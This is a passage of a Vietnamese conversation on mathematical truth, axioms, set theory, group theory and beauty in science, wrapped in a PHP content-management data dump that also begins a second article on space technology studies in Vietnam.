tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-19', 'status' => '1', 'view' => '62215', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '409', 'name' => 'Gần lắm giấc mơ thiên văn Việt Nam', 'code' => null, 'alias' => 'gan-lam-giac-mo-thien-van-viet-nam', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Trước đây, việc học và nghiên cứu công nghệ vũ trụ ở Việt Nam phải gián tiếp thông qua các ngành liên quan như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc này có thể được thực hiện trực tiếp nhờ vào chương trình học Vũ trụ và Ứng dụng (Space and Applications) tại ĐH Khoa học và Công nghệ Hà Nội. Tương lai nghề nghiệp ngành công nghệ vũ trụ Việt Nam cũng đang rộng mở với nhiều cơ hội.</div> <div> Những ứng dụng trực tiếp cho kinh tế và xã hội<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (1).jpg" style="width: 250px; height: 167px;" /></div> <div> </div> <div> Thế kỷ 21, cùng với sự phát triển của công nghệ thông tin, công nghệ vũ trụ cũng đang ở trong giai đoạn bùng nổ. Nếu chú ý người ta sẽ nhìn thấy ứng dụng công nghệ vũ trụ ở khắp mọi nơi trong cuộc sống hàng ngày: ti-vi, điện thoại di động, máy tính xách tay, v.v. Không ai mà không biết đến những ứng dụng tuyệt vời của hệ thống định vị được tích hợp trong những chiếc điện thoại nhỏ xíu hay bản đồ điện tử, giúp chúng ta tìm được đến những hang cùng ngõ hẻm nhỏ nhất. Những ứng dụng này có được là nhờ một hệ thống vệ tinh phức tạp đang bay trên bầu trời. Nếu bạn thích du lịch thì chỉ cần lên máy bay, chưa đầy 24 tiếng bạn đã ở phía bên kia của quả đất nhưng những chiếc máy bay sẽ không thể di chuyển dễ dàng như thế nếu thiếu đi các hệ thống kiếm soát hành trình và hệ thống định vị. </div> <div> </div> <div> Ngày nay việc theo dõi môi trường, rừng, biển, khí hậu, thiên tai cũng đã sử dụng nhiều ứng dụng công nghệ vũ trụ vào một ngành riêng biệt là ngành viễn thám (remote sensing). Viễn thám là ngành nghiên cứu sử dụng các hệ thống dò tìm, đo đạc đặt trên các vệ tinh trên bầu trời để quan sát các khu vực dưới mặt đất. Nhờ vậy mà người ta có thể được thu thập hình ảnh, số liệu một phần diện tích rộng và có một cái nhìn tổng thể hơn. </div> <div> </div> <div> <strong>Trở thành nhà thiên văn học: Ước mơ trong tầm tay</strong></div> <div> </div> <div> Khoa học và công nghệ vũ trụ là tổng hợp thành quả từ nhiều ngành khoa học và cộng nghệ khác nhau, là biểu tượng của một quốc gia phát triển. 